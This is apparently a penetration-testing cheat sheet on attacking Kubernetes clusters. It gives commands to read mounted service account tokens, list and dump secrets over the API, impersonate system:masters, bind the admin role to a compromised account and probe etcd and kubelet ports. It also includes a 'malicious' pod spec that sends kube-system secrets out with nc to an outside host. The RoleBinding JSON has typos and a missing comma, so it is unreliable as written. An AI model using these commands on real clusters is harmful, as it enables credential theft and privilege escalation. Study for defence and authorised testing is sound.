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Kubernetes
Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.
Summary
- Tools
- RBAC Configuration
- Privileged Service Account Token
- Interesting endpoints to reach
- API addresses that you should know
- References
Tools
-
kubeaudit. kubeaudit is a command line tool to audit Kubernetes clusters for various different security concerns: run the container as a non-root user, use a read only root filesystem, drop scary capabilities, don't add new ones, don't run privileged, ...
-
kubesec.io. Security risk analysis for Kubernetes resources.
-
kube-bench. kube-bench is a Go application that checks whether Kubernetes is deployed securely by running the checks documented in the CIS Kubernetes Benchmark.
-
katacoda. Learn Kubernetes using interactive broser-based scenarios.
Service Token
As it turns out, when pods (a Kubernetes abstraction for a group of containers) are created they are automatically assigned the default service account, and a new volume is created containing the token for accessing the Kubernetes API. That volume is then mounted into all the containers in the pod.
$ cat /var/run/secrets/kubernetes.io/serviceaccount
# kubectl makes cluster compromise trivial as it will use that serviceaccount token without additional prompting
RBAC Configuration
Listing Secrets
An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Access Any Resource or Verb
resources:
- '*'
verbs:
- '*'
Pod Creation
Check your right with kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml.
Then create a malicious pod.yaml file.
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Then kubectl apply -f malicious-pod.yaml
Privilege to Use Pods/Exec
kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh
Privilege to Get/Patch Rolebindings
The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account. Create a malicious RoleBinging.json file.
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespcaes": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "sa-comp"
"namespace": "default"
}
]
}
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
Impersonating a Privileged Account
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Privileged Service Account Token
$ cat /run/secrets/kubernetes.io/serviceaccount/token
$ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
Interesting endpoints to reach
# List Pods
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/
# List secrets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/
# List deployments
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments
# List daemonsets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
API addresses that you should know
(External network visibility)
cAdvisor
curl -k https://<IP Address>:4194
Insecure API server
curl -k https://<IP Address>:8080
Secure API Server
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
etcd API
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
Kubelet API
curl -k https://<IP address>:10250
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
kubelet (Read only)
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods